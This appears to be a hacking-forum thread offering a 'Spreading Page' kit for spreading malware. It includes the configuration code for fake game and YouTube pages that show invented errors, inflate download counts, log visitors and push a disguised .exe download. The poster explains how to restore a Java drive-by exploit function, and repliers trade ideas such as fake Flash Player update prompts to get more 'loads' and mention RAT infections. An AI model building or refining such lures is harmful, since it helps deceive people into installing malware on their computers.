Hello! I have decided to share my Spreading Page with you. For this reason I did some tweaking of the code, and added a simple Configuration File, so it's easier for you guys to use it.. =]

Spoiler [\(Click to View\)](#)

[IMG]<http://s15.postimg.org/ip02fynnf/image.jpg>[/IMG]

Post here & I will PM you the Download Link..

Features:

- Two types of Content (Game\Video);
- When trying to play content, custom error pop-up (your text), and pops download of your file;
- Visitor Logging;
- Countdown Timer;
- Easy Configuration;

Game: Content will consist of a "fake" game. When opening the page, a "Fake" loading will show, that the game is loading, making it more realistic. There will be 4 game buttons, and when any is clicked, it will simulate

a "Game Starting". Then it will popup an error of your choice, and prompt a download.

Video: Content will consist of a Youtube Video. When user will try to play the video, an error of your choice will

show up & download will be popped, and video will not play.

Set-Up:

Just copy the files on your hosting, edit the Configuration File, and the page should be fine.

To access your Visitor logs, use the following address: [yourdomain.com/log-visits](#)

Configuration:

Configuration File is located in `"/system/config.php"`. Open the file, and edit the parameters as you like:

```

Code // This is the Page Title, which you will see at your Browser's Tab..
$_CONF['page-title'] = 'Game v7 Official Release';
// This is the Type of the Content..
$_CONF['page-content'] = 'game';

// This is your download link, which will be prompted..
$_CONF['download-link'] = '/d/57251196/779/game-sodapoppin-v7-official-release.exe';
// This is the "fake" number of download count..
$_CONF['download-count'] = 2544;

// This is the Date for the Countdown..
$_CONF['countdown-day'] = 5;
$_CONF['countdown-month'] = 2;
$_CONF['countdown-year'] = 14;

// If you are using a VIDEO Type, this is the code of your YouTube Video..
$_CONF['youtube-video'] = 'YQ7k_J150XE';
// If you are using a VIDEO Type, this is the error shown when trying to play the Video..
$_CONF['youtube-error'] = 'You need to pass at least 1 level to watch the trailer.';

// Enable\Disable Visitor Logging..
$_CONF['log-visits'] = 1;

```

Version 1.0

- Created the page as it is..

Version 1.1

- Added NEW Content Type "game", which will have a fake game picture, buttons, and a JQuery/CSS3 Loader Bar. Onclick it will bring up an error, and launch a download..
- Fixed Download Logs, now it will be recorded correctly..
- Added Downloaded count to the Configuration..
- Now Download Links will be replaced correctly from the Configuration..

Version 1.2

- Added a Fake "Change-log" of "game-updates", and a new "game-button", linking to it..
- Added "Total Visitors" in the "Visitors-Log".
- Added "Total Visitors" in the "Visitors-Log".
- Added "Clear Log" button in the "Visitors-Log", and few other minor technical improvements.
- Added nice JQuery animation with callback when clicking on the game buttons for more realistic look.

I hope you found this Useful! If you got some spare on Paypal (tupac247@inbox.lv), feel free to donate me some, to help me keep the updates comming.. =]

Actually I made it for JDB only at the first, and implemented it, like when you play the Video, is stops, and pops JDB Update. But decided to get rid of JDB, since all the new JAVA Versions are patched.

You can restore the functionality of JDB Simply by making a new JavaScript function, which will pop your JDB, and replace this line with it:

```
Code window.location.href = '<?=$_CONF['download-link']?>';  
Sending you the link now BTW.
```

You can change the Countdown target date in the configuration file here:

Code // This is the Date for the Countdown..

`$_CONF['countdown-day'] = 20;`

`$_CONF['countdown-month'] = 2;`

`$_CONF['countdown-year'] = 14;`

You should remove your game-sodapoppin-v7-official-release.exe from the link you sending to people, I got infected by that file and I dont even know how, but if your computer name is Antony then it was you.

You're right, it will be removed from next distributions, thanks. About infection, you didn't get infected from that file, if you say it was Antony. As far as I know Antony is a pretty common VM guest in RAT's, propably from virus uploads (not sure).

This is a really good idea, if you could make one that gives a error and popup saying you need to update flashplayer you would get lots of loads.

Has anyone had any luck with this? The video one could be really promising as people always want to watch shows for free.
